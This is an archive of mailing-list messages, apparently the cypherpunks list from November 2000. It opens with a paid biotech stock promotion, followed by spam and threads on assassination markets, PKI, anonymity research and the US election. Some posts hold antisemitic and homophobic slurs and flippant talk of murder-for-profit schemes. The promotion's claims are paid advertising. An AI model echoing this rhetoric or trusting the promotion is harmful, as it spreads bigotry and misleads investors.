"The global anti-cancer therapy market, presently valued at approximately $16 billion, is poised for considerable further growth. We believe this market will double in the next 4 years. This expansion will be driven by innovative new therapies which should dramatically improve control over the disease. During the past fiscal year, we made substantive progress developing our four platform technologies. We intend marketing our breast cancer drug, Modrefen, in 2001. This product will compete in the market-place with drugs such as Genentech's (NYSE:DNA - news) Herceptin but it's novel mode of action puts it in a specific therapeutic niche. Extensive clinical trials showed that Modrefen is effective in up to 55% of patients with breast cancer who relapse after hormone therapy with drugs such as Astra Zeneca's (NYSE:AZN - news) Tamoxifen." Dr. Wood continued, "During the next 12 months we intend to find a co-development partner for our anti-leukemia agent, Clofarabine. This drug is in Phase II clinical trials and early results are encouraging. This product will compete with Fludarabine, which is marketed in the USA by Berlex, a subsidiary of Schering AG (717200D) and Pentotatin which is marketed by Supergen (NASDAQ:SUPG - news). We continue to make substantive progress on our Gene Therapy platform. In the past year the team added a second gene to the vector and conducted successful pre-clinical trials. The results have confirmed the ability of the vector to transfer DNA to skeletal muscle and for release of gene product into the blood stream. In an earlier clinical trial, with the albumin gene attached to the vector, patients with low serum albumin levels due to end-stage liver disease, had serum levels returned to the normal range after treatment. We believe that these agents have considerable commercial possibilities." Company Overview Bioenvision is a development-stage, biopharmaceutical company primarily engaged in the development of products and technologies for the treatment of cancer. Bioenvision has acquired development, manufacturing and marketing rights to four technologies from which a range of products have been derived and from which additional products may be developed in the future. Bioenvision aims to continue developing its existing platform technologies, acquire additional technologies and products with multiple uses, and commercialize products for the multi-billion dollar cancer treatment market. Bioenvision expects to begin marketing Trilostane for the treatment of post-menopausal breast cancer on a commercial scale in the United States and Europe in the second quarter of 2001. The product is already FDA-approved in the United States for another use. Bioenvision plans to apply to use the drug in the United States for treatment of hormone sensitive cancers, such as breast cancer and advanced prostrate cancer. In addition, three of the other products and technologies to which Bioenvision has acquired rights are presently being tested in clinical trials, and an additional eight are in the pre-clinical stage of development. Assuming the successful completion of clinical trials, Bioenvision anticipates that by the end of 2002, five of Bioenvision's products and technologies will have received regulatory approval for specific disease (primarily cancer) treatment indications in the United States or Europe and seven will be in the final stages of the clinical trial process. Bioenvision has had discussions with potential development partners over the past year and plan to continue to explore the possibilities for co-development and sub-licensing. Bioenvision expects to enter into a co-development agreement for at least one of our products within the next few months although there can be no assurances that any such agreement will be reached. Bioenvision is also working on a fourth group of compounds that act as cytostatic agents by stopping the growth of cancer cells. There are at least three potential products in this category, one of which is set for a Phase I clinical trial in the coming year. These compounds are at an early stage of development but the Company expects these agents to fill the product pipeline for the future. In March 2000, Bioenvision recieved an equity investment of $2 million from Bioaccelerate BVI, a Swiss-based investment company which enabled the Company to move ahead in its business plan during 2000. Bioaccelerate has an option to invest an additional $4 million in the Company and that investment relates to certain milestones in the coming 12 months. Product Portfolio The following is a description of Bioenvision's current portfolio of technologies, products and products in development. Product / Disease intended / Current stage /Anticipated Time to be treated of Development Until Marketed Cancer Treatment --------------------------------------------------------------------- Modrefen / Breast cancer / At market / - - - Abetafen / Prostate cancer / Phase II trials / 2 years Clofarabine / Leukemia, Lymphoma / Phase II trials / 18 months Clofarabine / Solid tumors / Phase I trials / 2 years Cytostatics / Bladder cancer / Phase I trials / 3 years RA inhibitor / Leukemia / Pre-clinical / 4 years Hormone blocker / Prostate cancer / Pre-clinical / 4 years Gene Therapy -------------------------------------------------------------------- Product 1 / Leukemia / Phase I, II / 3 years Product 2 / Cancer support / Phase I, II / 3 years Non-Cancer Applications -------------------------------------------------------------------- Trilostane / Cushing's disease / At market / - - - Trilostane / Alzheimer's disease / Pre-clinical / 2 years Clofarabine / Transplantation / Phase I trials / 3 years Gene Therapy / Vaccines, Cirrhosis, Diabetes, MS / R & D / 5 years HISTORY The Company was founded by Chris Wood and financed by Kevin Leech, who were responsible for the first two public biotech companies in Europe in 1987, being Medeva plc and ML Laboratories plc respectively. STRATEGIC RELATIONSHIPS London School of Pharmacy University of Cardiff National Institute of Cancer, Bari, Italy University College, London MD Anderson Cancer Center, Houston, Texas Southern Research Institute, Alabama Memorial Sloan Kettering Cancer Institute, New York Imperial College, London STRATEGY Bioenvision's strategy is to license and acquire products ready for clinical trials or at a late stage of development, and to use the expertise of Bioenvision's management to take the products through clinical trials and to commercially position the products for today's marketplace. Bioenvision will establish an oncology sales force for the North American market while establishing a joint venture sales force in Europe. This will give Bioenvision the ability to distribute products from Bioenvision's own pipeline as well as products from other biotech companies looking for a dedicated oncology distribution chain. IMPORTANT DISCLAIMER ------------------------------------------------------------------ Looknofurther is an independent electronic publication providing information on selected public companies. Any company profiled by Looknofurther pays cash or stock consideration for the electronic dissemination of the company's information for a specified time period and/or our comments about the company and/or our development of the company's website. Section 17 (b) of the Securities Act of 1933 requires that Looknofurther fully disclose the type consideration (i.e. cash, free trading stock, restricted stock, resrticted stock with regisrtation rights, stock options, stock warrants, or other type consideration) and the specific amount of the consideration our company receives or will receive, directly or indirectly, from an issuer, underwriter or dealer. No information contained in this publication should be considered as a solicitation to purchase or sell the securities of the profiled companies. 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You are currently subscribed to Looknofurther, to unsubscribe send a blank email to: nofurther at hotmail.com From redial at fastmail.ca Sun Nov 26 05:40:55 2000 From: redial at fastmail.ca (redial at fastmail.ca) Date: Sun, 26 Nov 2000 05:40:55 Subject: CDR: toner cartridges Message-ID: <116.290614.321916@> HAPPY HOLIDAYS Toner Supplies at discount prices Laser Printer Toner Cartridges Fax and Copier Cartridges Order by phone:1-888-288-9043 Order by fax: 1-888-977-1577 *** E-mail removal line: 1-888-248-4930 *** *** If you would like to mail your order please call 1-888-248-2015 *** Pay by check, credit card or Purchase Order. If your order is by check please leave your check number (Mail check when you recieve merchandise) If your order is by credit card please leave your card number + expiration date If your order is by P.O. please leave your shipping/billing addresses Current Prices are as follows: Cartridges for Hewlett Packard printers: 4L,4p,1100 and series 2 cartridges are now $49 2p cartridges are $54 3si cartridges are $75 4000 and 2100 cartridges are $79 5000 and 8100 cartridges are $135 5p, 6p, 5mp and 6mp cartridges are $59 Cartridges for Apple printers Pro 600 or 16-600 cartridges are now $69 Laser writer select 300,320 and 360 cartridges are $69 Laser writer 300 and 320 cartridges are $54 Laser writer NT, 2nt, 2f, 2g and LS cartridges are $54 Laser writer personal 12-640 cartridges are $79 Cartridges for Hewlett Packard laser fax printers: Laser fax 500,700,5000,7000,fx1 and fx2 cartridges are now $59 Laser fax fx3 cartridges are $69 Our laser fax fx4 cartridges are $79 Cartridges for Lexmark and IBM printers Optra 4019 and 4029 are now $125 optra r,r+ and optra s cartridges are $135 optra e cartridges are $59 Our cartridges for canon copiers PC 3, 6re, 7 and 11 (A30) are now $69 PC 300,320,700,720 and 760 (E-40) are $89 90 day extended warranty included on all products. From info2132007 at forthelife.net Sun Nov 26 06:24:09 2000 From: info2132007 at forthelife.net (info2132007 at forthelife.net) Date: Sun, 26 Nov 2000 09:24:09 -0500 Subject: CDR: Enjoy the city lights of Las Vegas without leaving home....... Message-ID: A non-text attachment was scrubbed... Name: not available Type: text/html Size: 922 bytes Desc: not available URL: From honig at sprynet.com Sun Nov 26 10:09:07 2000 From: honig at sprynet.com (David Honig) Date: Sun, 26 Nov 2000 13:09:07 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <006c01c05766$ee9692e0$0100a8c0@nandts> References: Message-ID: <3.0.6.32.20001126100702.007e68b0@pop.sprynet.com> At 12:09 AM 11/26/00 -0500, Neil Johnson wrote: >Some observations: > >What would keep a Gov't from using AP to accomplish their own objectives ? >They obviously would have the resources to. They might even find it a much >more efficient way to silence vocal critics with plenty of "plausible >denialbility". No need. A govt has the means for secret payments and secret missions already. Why would Mossad bother with anon tech when it already has skilled personnel on salary? Similarly with well funded NGOs like Mafia or FARC. As for the rest of your post, yes, it would seem inevitable that various "options and futures" shenanigans would evolve, just as they have in other markets. Even mixed ones. Bet that Intel's stock will rise above some level XOR some number of AMD design engineers will meet an untimely death within the same quarter :-) From honig at sprynet.com Sun Nov 26 10:09:09 2000 From: honig at sprynet.com (David Honig) Date: Sun, 26 Nov 2000 13:09:09 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: References: <3.0.6.32.20001125124315.00804820@pop.sprynet.com> Message-ID: <3.0.6.32.20001126100001.007ebc70@pop.sprynet.com> At 10:35 PM 11/25/00 -0500, Jim Choate wrote: >On Sat, 25 Nov 2000, David Honig wrote: >> At 11:11 AM 11/24/00 -0500, Greg Newby wrote: >> >Do people on this list really believe that the solution to >> >problems is to kill people? >> >> What we believe is not important. > >"Baaah" by any other name smells as cowardly. So when the physicists were discussing fission in the 40's, and some didn't want it to be used for bombs, did it matter? Nope. They were finding out something about reality, and others would find out too; and once physics is known the possible applications follow. Your "morals" don't affect reality any more than they persuade others. If you're the first to discover something, you can sit on it, this is your only power. But guess what: others will come. If Einstein had stayed a patent clerk we'd still have fission by now. Anonymity and anonymous cash are fundamentals. AP is an application. Bell, Chaum, etc. can be silenced. Reality can't. From bram at gawth.com Sun Nov 26 13:37:40 2000 From: bram at gawth.com (Bram Cohen) Date: Sun, 26 Nov 2000 13:37:40 -0800 (PST) Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: <4.1.20001123030759.0094bf00@pop.ix.netcom.com> Message-ID: On Fri, 24 Nov 2000, John Kelsey wrote: > At 04:47 PM 11/22/00 -0800, Bram Cohen wrote: > > >Once again, the solution to the problems of offline > >operation appears to be online operation. > > And the annoying thing about this is that once we go to > needing an online trusted third party to allow us to have > secure communications, we may as well chuck the public key > stuff and just use symmetric ciphers and the key exchange > protocols worked out ten or fifteen years ago. That isn't completely true - using public key protocols involves many fewer messages total, and allows for much more decentralized data access - we're using it for Mojo Nation for precisely those reasons, and it's made a fundamental difference in scalability. It isn't quite as revolutionary as one might expect though. PKI for contracts and treaties is also largely overhyped - those have long depended on agreements being widely distributed/notarized/timestamped for their reliability, and the law of contracts is all based on oral agreements. PKI just contributes a bit more evidence (and, apparently, not a crucial part) and making it be a 'legally binding signature' mostly has to do with the technical question of when an agreement goes from being negotiated to legally binding. Sending a piece of mail saying 'ok' can work just as well. -Bram Cohen From jamesd at echeque.com Sun Nov 26 16:52:14 2000 From: jamesd at echeque.com (James A. Donald) Date: Sun, 26 Nov 2000 16:52:14 -0800 Subject: CDR: Gore's new strategy. Message-ID: <4.3.1.2.20001126164615.00bad110@shell11.ba.best.com> We have had a partial recount in certain selected districts. This failed to change the outcome. So now Gore seeks a full recount. If that fails to change the outcome, he will probably call for another selective recount. If that fails to change the outcome, then another full recount with different rules for the chads. If that fails to change the outcome .... Since the result is smaller than the margin of error, if you keep doing it over and over and over and over with different rules each time, Gore is sure to get lucky sooner or later. Then it will be a confrontation between the Florida executive, and the Florida judiciary. From natascha at loveable.com Sun Nov 26 01:29:06 2000 From: natascha at loveable.com (natascha at loveable.com) Date: Sun, 26 Nov 2000 17:29:06 +0800 Subject: CDR: Secrets about Girls ;-) Message-ID: <200011260929.RAB13752@www1.> Removal Instructions are at the end of this letter. Thank You. *************"Secrets About Girls"************* A Serious Weekly Newsletter To Help You Meet, "Score" And Keep The Girl Of Your Dreams Hi, My Name is Natascha and I would like to offer you a free subscription to my lovingly composed Newsletter "Secrets About Girls". Many of my subscribers have written me that they have noticed a dramatic improvement in their life-style, self esteem, sex-life and mental health through the advice and solutions given in "Secrets About Girls" . Besides the help and advice I offer to my subscribers as a special gift I include beautiful lingerie images of me and my girlfriends who are all available and looking for serious relationships. If you are interested in a Free subscription to "Secrets About Girls" and would like to learn how to meet, "score" and keep the "Girl of Your Dreams" please return this e-mail with the subject line "Subscribe Secrets About Girls" and we will send you the first issue as soon as possible. Start making all your dreams come true today through reading "Secrets About Girls", you can thank me later ;-) You must be 21 or older to subscribe to my newsletter. Be Blessed Natascha Swenson The Road Less Traveled You are receiving this message because you have either subscribed to one of my ffa-pages, newsletters or we have corresponded in the past. I respect your privacy. If you do not wish to receive any further messages or updates, please respond to this e-mail with the subject line "remove" and we will immediately remove your e-mail address from our database. To speed up your remove request, please make sure to enter the word remove into the Subject line, not in the body of the message. Thank you. From tcmay at got.net Sun Nov 26 17:38:39 2000 From: tcmay at got.net (Tim May) Date: Sun, 26 Nov 2000 17:38:39 -0800 Subject: CDR: Re: On 60" tonight In-Reply-To: <200011262332.SAA09039@www3.aa.psiweb.com> References: <200011262332.SAA09039@www3.aa.psiweb.com> Message-ID: At 6:32 PM -0500 11/26/00, George at Orwellian.Org wrote: >My on-screen guide said "FISA", tvguide.com says, >"Mike Wallace looks at one couple's claim that >they were set up by the FBI and wrongly convicted of espionage." I notice you're babbling about what's on "60 Minutes" but not saying a peep about the certification of the election in Bush's favor. Now that an incoming Republican Administration will be able to prosecute Bill for his various crimes, Hillary for her tax evasion and insider trading and Algore on treason charges, I can hear Air Force One warming up its engines for its flight to Cuba. Fidel has offered asylum to Bill and Al,but not to Hillary. She's too far left even for him. Hillary may have to take refuge with either the Palestinians, where she can hug Yassir's wife all she wants, or ZOG. Maybe she can set up a double-wide in "No Man's Land." A lesbian sistah like her would no doubt like the sound of that. Regarding the Demonrats who tried to steal this election, I say it's time to take out the trash. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From natascha at loveable.com Sun Nov 26 01:51:32 2000 From: natascha at loveable.com (natascha at loveable.com) Date: Sun, 26 Nov 2000 17:51:32 +0800 Subject: CDR: Secrets about Girls ;-) Message-ID: <200011260951.RAA19044@www1.> Removal Instructions are at the end of this letter. Thank You. *************"Secrets About Girls"************* A Serious Weekly Newsletter To Help You Meet, "Score" And Keep The Girl Of Your Dreams Hi, My Name is Natascha and I would like to offer you a free subscription to my lovingly composed Newsletter "Secrets About Girls". Many of my subscribers have written me that they have noticed a dramatic improvement in their life-style, self esteem, sex-life and mental health through the advice and solutions given in "Secrets About Girls" . Besides the help and advice I offer to my subscribers as a special gift I include beautiful lingerie images of me and my girlfriends who are all available and looking for serious relationships. If you are interested in a Free subscription to "Secrets About Girls" and would like to learn how to meet, "score" and keep the "Girl of Your Dreams" please return this e-mail with the subject line "Subscribe Secrets About Girls" and we will send you the first issue as soon as possible. Start making all your dreams come true today through reading "Secrets About Girls", you can thank me later ;-) You must be 21 or older to subscribe to my newsletter. Be Blessed Natascha Swenson The Road Less Traveled You are receiving this message because you have either subscribed to one of my ffa-pages, newsletters or we have corresponded in the past. I respect your privacy. If you do not wish to receive any further messages or updates, please respond to this e-mail with the subject line "remove" and we will immediately remove your e-mail address from our database. To speed up your remove request, please make sure to enter the word remove into the Subject line, not in the body of the message. Thank you. From natascha at loveable.com Sun Nov 26 01:58:54 2000 From: natascha at loveable.com (natascha at loveable.com) Date: Sun, 26 Nov 2000 17:58:54 +0800 Subject: CDR: Secrets about Girls ;-) Message-ID: <200011260958.RAA20551@www1.> Removal Instructions are at the end of this letter. Thank You. *************"Secrets About Girls"************* A Serious Weekly Newsletter To Help You Meet, "Score" And Keep The Girl Of Your Dreams Hi, My Name is Natascha and I would like to offer you a free subscription to my lovingly composed Newsletter "Secrets About Girls". Many of my subscribers have written me that they have noticed a dramatic improvement in their life-style, self esteem, sex-life and mental health through the advice and solutions given in "Secrets About Girls" . Besides the help and advice I offer to my subscribers as a special gift I include beautiful lingerie images of me and my girlfriends who are all available and looking for serious relationships. If you are interested in a Free subscription to "Secrets About Girls" and would like to learn how to meet, "score" and keep the "Girl of Your Dreams" please return this e-mail with the subject line "Subscribe Secrets About Girls" and we will send you the first issue as soon as possible. Start making all your dreams come true today through reading "Secrets About Girls", you can thank me later ;-) You must be 21 or older to subscribe to my newsletter. Be Blessed Natascha Swenson The Road Less Traveled You are receiving this message because you have either subscribed to one of my ffa-pages, newsletters or we have corresponded in the past. I respect your privacy. If you do not wish to receive any further messages or updates, please respond to this e-mail with the subject line "remove" and we will immediately remove your e-mail address from our database. To speed up your remove request, please make sure to enter the word remove into the Subject line, not in the body of the message. Thank you. From George at Orwellian.Org Sun Nov 26 15:32:20 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sun, 26 Nov 2000 18:32:20 -0500 (EST) Subject: CDR: On 60" tonight Message-ID: <200011262332.SAA09039@www3.aa.psiweb.com> My on-screen guide said "FISA", tvguide.com says, "Mike Wallace looks at one couple's claim that they were set up by the FBI and wrongly convicted of espionage." From j.chri at get2net.dk Sun Nov 26 10:20:26 2000 From: j.chri at get2net.dk (=?iso-8859-1?Q?j=F8rgen_chri?=) Date: Sun, 26 Nov 2000 19:20:26 +0100 Subject: No subject Message-ID: <000801c057d5$8d447ba0$b1932fc3@e0n7g9> -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 280 bytes Desc: not available URL: From bill.stewart at pobox.com Sun Nov 26 19:39:05 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sun, 26 Nov 2000 19:39:05 -0800 Subject: CDR: Re: On 60" tonight In-Reply-To: References: Message-ID: <3.0.5.32.20001126193905.01b04930@idiom.com> >On Sun, 26 Nov 2000, Tim May wrote: >> At 6:32 PM -0500 11/26/00, George at Orwellian.Org wrote: >> > My on-screen guide said "FISA", tvguide.com says, >> > "Mike Wallace looks at one couple's claim that >> > they were set up by the FBI and wrongly convicted of espionage." >> >> I notice you're babbling about what's on "60 Minutes" but not saying >> a peep about the certification of the election in Bush's favor. Tim, the guy was taking a break from election results to actually say something about a cypherpunks topic. We know the election rigging is in progress, and it looks like Bush is better at it than Gore. At 07:59 PM 11/26/00 -0600, Mac Norton wrote: > So Bush pardons Clinton, which has the added plus of forcing Clinton > to the choice of taking it or not. That's *real* revenge. Not that > W. is that smart/mean, but his daddy is. Ooh, that's nasty. Hope he does it :-) In practice, the Statute of Limitations probably applies to most of the things the Clintons did. Besides, the Republicans have used far more slack than they had available in trying to prosecute Clinton for something/anything/whatever. Meanwhile, the speaker on CSpan Book Passage is talking about how he and his friends attempted to not be swayed by the Steve Jobs Reality Distortion Field ("We even had *hand signals* to warn each other when they were getting sucked in..." :-) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From j.chri at get2net.dk Sun Nov 26 10:45:41 2000 From: j.chri at get2net.dk (=?iso-8859-1?Q?j=F8rgen_chri?=) Date: Sun, 26 Nov 2000 19:45:41 +0100 Subject: No subject Message-ID: <000801c057d9$149c9620$b1932fc3@e0n7g9> -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 280 bytes Desc: not available URL: From bill.stewart at pobox.com Sun Nov 26 19:59:27 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Sun, 26 Nov 2000 19:59:27 -0800 Subject: CDR: Re: powerline In-Reply-To: Message-ID: <3.0.5.32.20001126195927.01b07be0@idiom.com> At 02:16 AM 11/23/00 -0000, Ahmad Saufi wrote: >hi, can u inform me about accessing internet via power line technology, >if u have any news or info about it,please send/inform it to me. Any Cypherpunks discussion on the topic would be in the archives, at http://www.inet-one.com/ in Singapore. You're probably better off looking on a general-purpose web search engine, or looking at specialized sites such as nwfusion.com or eetimes.com. I think Nortel developed some of that technology, but I don't know if they're the latest and hottest stuff. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From mnorton at cavern.uark.edu Sun Nov 26 17:59:59 2000 From: mnorton at cavern.uark.edu (Mac Norton) Date: Sun, 26 Nov 2000 19:59:59 -0600 (CST) Subject: CDR: Re: On 60" tonight In-Reply-To: Message-ID: Use your head. One of the first things Bush does is pardon Bill Clinton. After all, given who's in charge of the prosecution, if Gore gets elected Clinton gets prosecuted so the Repubs can keep that circus going; if Bush gets elected, it's not only no longer important, it looks vindictive, which is inconsistent with the compassionate conservatism we've been hearing less and less about lately and with "turning this country around", whatever that meant. So Bush pardons Clinton, which has the added plus of forcing Clinton to the choice of taking it or not. That's *real* revenge. Not that W. is that smart/mean, but his daddy is. MacN On Sun, 26 Nov 2000, Tim May wrote: > At 6:32 PM -0500 11/26/00, George at Orwellian.Org wrote: > >My on-screen guide said "FISA", tvguide.com says, > >"Mike Wallace looks at one couple's claim that > >they were set up by the FBI and wrongly convicted of espionage." > > I notice you're babbling about what's on "60 Minutes" but not saying > a peep about the certification of the election in Bush's favor. > > Now that an incoming Republican Administration will be able to > prosecute Bill for his various crimes, Hillary for her tax evasion > and insider trading and Algore on treason charges, I can hear Air > Force One warming up its engines for its flight to Cuba. > > Fidel has offered asylum to Bill and Al,but not to Hillary. She's too > far left even for him. > > Hillary may have to take refuge with either the Palestinians, where > she can hug Yassir's wife all she wants, or ZOG. Maybe she can set up > a double-wide in "No Man's Land." A lesbian sistah like her would no > doubt like the sound of that. > > Regarding the Demonrats who tried to steal this election, I say it's > time to take out the trash. > > > --Tim May > -- > (This .sig file has not been significantly changed since 1992. As the > election debacle unfolds, it is time to prepare a new one. Stay tuned.) > > From jbash-nymip-dec2000-meeting at velvet.com Sun Nov 26 21:40:01 2000 From: jbash-nymip-dec2000-meeting at velvet.com (jbash-nymip-dec2000-meeting at velvet.com) Date: Sun, 26 Nov 2000 21:40:01 -0800 Subject: Internet anonymity/pseudonymity meeting invitation Message-ID: <9922.975303601@zeroknowledge.com> The NymIP Research Group will hold its first physical meeting on Sunday, December 10, 2000, from 14:30 US/Pacific (22:30 UCT) to 17:00 US/Pacific (01:00 UCT December 11), before the IETF meeting in San Diego, California. We invite interested parties to attend, either in person or by telephone. The NymIP-RG is a newly formed entity dedicated to studying anonymity and pseudonymity in Internet communication. The RG's goals are to develop better understanding of the technology of controlled nymity, to solve some of the unsolved problems, and eventually to bring the effort to the point where open implementation and standardization can begin. The NymIP-RG is part of a larger effort called the "NymIP effort", whose goals extend through standardization, development of open reference implementations, and eventual broad deployment. More information is at . We expect that the NymIP-RG will apply for a charter from the IRTF, and that future NymIP standardization work, if any, will be done in the IETF, but these decisions have not been finalized. This first meeting is a brief, relatively unstructured get-to-know-you affair, designed to identify those interested and start them talking to one another. There is no real technical program beyond an introduction to the problem. Future meetings will presumably have more structure and more technical content. Most of the group's work will be conducted over e-mail, rather than in meetings. To get the exact location and/or telephone number information, please send e-mail to jbash-nymip-dec2000-meeting at velvet.com. Please include information about the number of people you expect will be coming in your party or calling in from your location, so that we can plan resources accordingly. Early responses will help us to plan better. If you plan to attend by telephone, please do NOT plan to have multiple attendees using a speaker phone. Having more than one speaker phone on a conference bridge usually leads to problems. We'd rather provide more bridge ports than have people using speaker phones. We apologize for the late notice, and recognize that it will be hard for many people to attend in person. We'll try to do better in the future. You may have been blind-copied on this message to prevent your e-mail address from falling into the hands of spammers. If you don't see any lists you're on in the headers, that's probably the reason. Please feel free to forward this message to anyone you feel may have a serious interest in this area. -- J. Bashinski Secretary, NymIP-RG From George at Orwellian.Org Sun Nov 26 19:22:33 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Sun, 26 Nov 2000 22:22:33 -0500 (EST) Subject: CDR: On 60" tonight Message-ID: <200011270322.WAA13808@www4.aa.psiweb.com> And Katherine Harris bumped the piece. ---- Our resident racist prosecutor & fantasy killer Tim May wrote: # I notice you're babbling about what's on "60 Minutes" There are some overachievers who can babble in only one sentence, not I. It takes me several. Our resident racist prosecutor & fantasy killer Tim May wrote: # ...but not saying a peep about the certification # of the election in Bush's favor. Peep. Pooh. Pregnant chad. Too bad. It ain't over, but Gore's looking had. What a scream, those thousands of black votes invalidated because the people getting out the vote told them to punch each page, invalidating them. Double punch hole, no peace. We. Ourselves. Fleeced. ---- What do you think would happen if Gore eventually became prez? Who would the few armed "blood in the streets" nutters shoot? ---- Our resident racist prosecutor & fantasy killer Tim May wrote: # Now that an incoming Republican Administration will be able to # prosecute Bill for his various crimes, Oh! Now who wants to keep having trials until you get the result you want? What tunnel vision. From ellisacresltd at home.com Sun Nov 26 21:43:55 2000 From: ellisacresltd at home.com (Oral Ellis) Date: Sun, 26 Nov 2000 23:43:55 -0600 Subject: No subject Message-ID: <000801c05835$082c3600$50d54718@cgmd1.ab.wave.home.com> Oral Ellis Ellis Acers Ltd. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 355 bytes Desc: not available URL: From mix at mixmaster.ceti.pl Sun Nov 26 15:40:01 2000 From: mix at mixmaster.ceti.pl (Anonymous Remailer) Date: Mon, 27 Nov 2000 00:40:01 +0100 (CET) Subject: CDR: Foreign expert opinion unrelated to Tim May Message-ID: <37acdf07a4792f1b7dde21f2a8573cab@mixmaster.ceti.pl> Gadhafi advises US power sharing Sunday, 26 November 2000 16:09 (ET) Gadhafi advises US power sharing By SADEK al-TARHUNI TRIPOLI, Libya, Nov. 26 (UPI) -- Libyan leader Col. Moammar Gadhafi has advised the United States to split the presidency between Democrat candidate Al Gore and Republican George Bush in order to avoid "a civil war." Gadhafi, in an interview with an Italian television station to be broadcast in the coming days, said loosing the logjammed U.S. presidential election was "a complicated problem." "For U.S. to avoid a civil war, power should be split between the presidential candidates," he said. "In case Bush wins, Al Gore could be his deputy and vice-versa." Qadhafi said: "I advised the American friends to announce this now since this would lead to solving the problem, meaning that the one who wins more votes will be President and the one with less votes will be deputy president." The Libyan leader reiterated that he does not believe in elections but only in "direct popular democracy, meaning that people rule themselves." He described the present democracy in the world as "fabricated democracy" asking how "40 per cent of the people can accept a person they did not elect?" Gadhafi said there was "no difference between Bush and Gore," saying the problem "lies in the Congress and the imperialist circles." He said President Clinton was " a nice man but he could not do much for his people because they implicated him in dangerous cases." He accused the Congress of "ignoring the world and fighting a country without knowing its location," saying: "I am sure the Congress does not know where Kosovo, Libya or Kuwait are located." Gahdafi said if the Americans take his advice, both Democrats and Republicans will be in power and both have "interests to be in the White House." From jayd20326 at numberonesales.net Sun Nov 26 20:53:31 2000 From: jayd20326 at numberonesales.net (jayd20326 at numberonesales.net) Date: Mon, 27 Nov 2000 00:53:31 -0400 Subject: CDR: BOOST WINDOWS OPERATING SYSTEM! 15282 Message-ID: <00007c97532c$0000126c$00003bb2@mail26.numberonesales.net> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1311 bytes Desc: not available URL: From tom at ricardo.de Mon Nov 27 03:08:15 2000 From: tom at ricardo.de (Tom Vogt) Date: Mon, 27 Nov 2000 06:08:15 -0500 Subject: CDR: Re: Jim Bell arrested documents online References: <3.0.6.32.20001124082904.007fa3e0@pop.sprynet.com> Message-ID: <3A223EF4.417EE954@ricardo.de> David Honig wrote: > But the threat of coercion is not so abstract: you *do* see guns on the hip > of every cop or park ranger you run into. And 'cop shows' detail the > paramilitary forces ready to knock down your doors. I have yet to see > free-ranging IKEA police threatening the citizens or constitution recently. that's because corporations work more efficiently than governments. they use whatever does the job with the minimal cost. at the moment, it's armies of lawyers sueing critics to hell and back for some bogus shit. the government thoughtfully provides the weapons and thugs once you won in the courtroom. rest assured, once the government stops doing so (e.g. by disappearing), corporations *will* start to raise armies of their own. From zakyiria at yahoo.com Mon Nov 27 06:14:27 2000 From: zakyiria at yahoo.com (zakyiria at yahoo.com) Date: Mon, 27 Nov 2000 06:14:27 -0800 (PST) Subject: No subject Message-ID: <20001127141427.21275.qmail@web10206.mail.yahoo.com> I WANT TO KNOW ABOUT YOUR STUFFING LETTERS BUISNESS I CAN USE THE EXTRA MONEY. --------------------------------- Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 224 bytes Desc: not available URL: From k.brown at ccs.bbk.ac.uk Mon Nov 27 06:23:24 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Mon, 27 Nov 2000 09:23:24 -0500 Subject: CDR: Re: Jim Bell arrested documents online References: <3.0.6.32.20001124082904.007fa3e0@pop.sprynet.com> Message-ID: <3A226E1C.50E11731@ccs.bbk.ac.uk> David Honig wrote: > > At 09:58 PM 11/23/00 -0500, Anonymous wrote: > > > >Apparently because businesses do not use guns. > > > >They are missing the fact that majority of people never encounter/use > >guns in their life, and that the principal way of behavioural control > >is propaganda/ideology. Most of the people in the industrial world are > >directly and tightly controlled by corporations, not governments. > > > > But the threat of coercion is not so abstract: you *do* see guns on the hip > of every cop or park ranger you run into. You might. It's not like that where I live. I don't think I'd ever seen a handgun other than on TV until I was over 20, & that was in a foreign country. I've still never held one. Shotguns yes, people kill birds with them. Rifles - very occasionally with the military or armed police, but most people don't live near military bases & most police don't carry rifles in public. I doubt if I see more than one or two a year (*). Heck. I've had more to do with moonrock than revolvers. Not everywhere is as gun-obsessed as the USA. (Ducks & waits for flammage...) Ken Brown (*) Contrary to popular belief British police *do* use guns, quite a lot, but they don't carry them openly (but check out the patrol cars), they tend to be rifles rather than handguns, they only issue them to specially trained officers (about 1 in 5 in London I think, fewer in other forces), & they always try to ensure that the "first contact" with a suspect is an unarmed police officer. If they think the suspect is armed they tend to try to have a sniper out of sight. Fewer cops get killed that way - 17 in the last 35 years I think. The USA can lose that many in a bad summer. From juicy at melontraffickers.com Mon Nov 27 09:28:12 2000 From: juicy at melontraffickers.com (A. Melon) Date: Mon, 27 Nov 2000 09:28:12 -0800 Subject: CDR: Re: Jim Bell Message-ID: Newby puzzles: > Right, I agree. > >But what I'd like to consider is a recipe for "plain ordinary" >folk to conspire anonymously to commit murder. > >Not just any murder: murder for some of the people who (some >people on this list have said), are needing killin'. > >If a bunch of crypto anarchists or whoever decide to knock off >Bill Gates or Al Gore (who really didn't invent the Internet >well enough...), you can bet someone will come looking pretty hard! > >Again, I see this as a serious problem in applied cryptography. Did you even bother to read AP? RTFM, dude! From declan at well.com Mon Nov 27 06:36:38 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 27 Nov 2000 09:36:38 -0500 Subject: CDR: More WOMD madness in Washington, DC Message-ID: 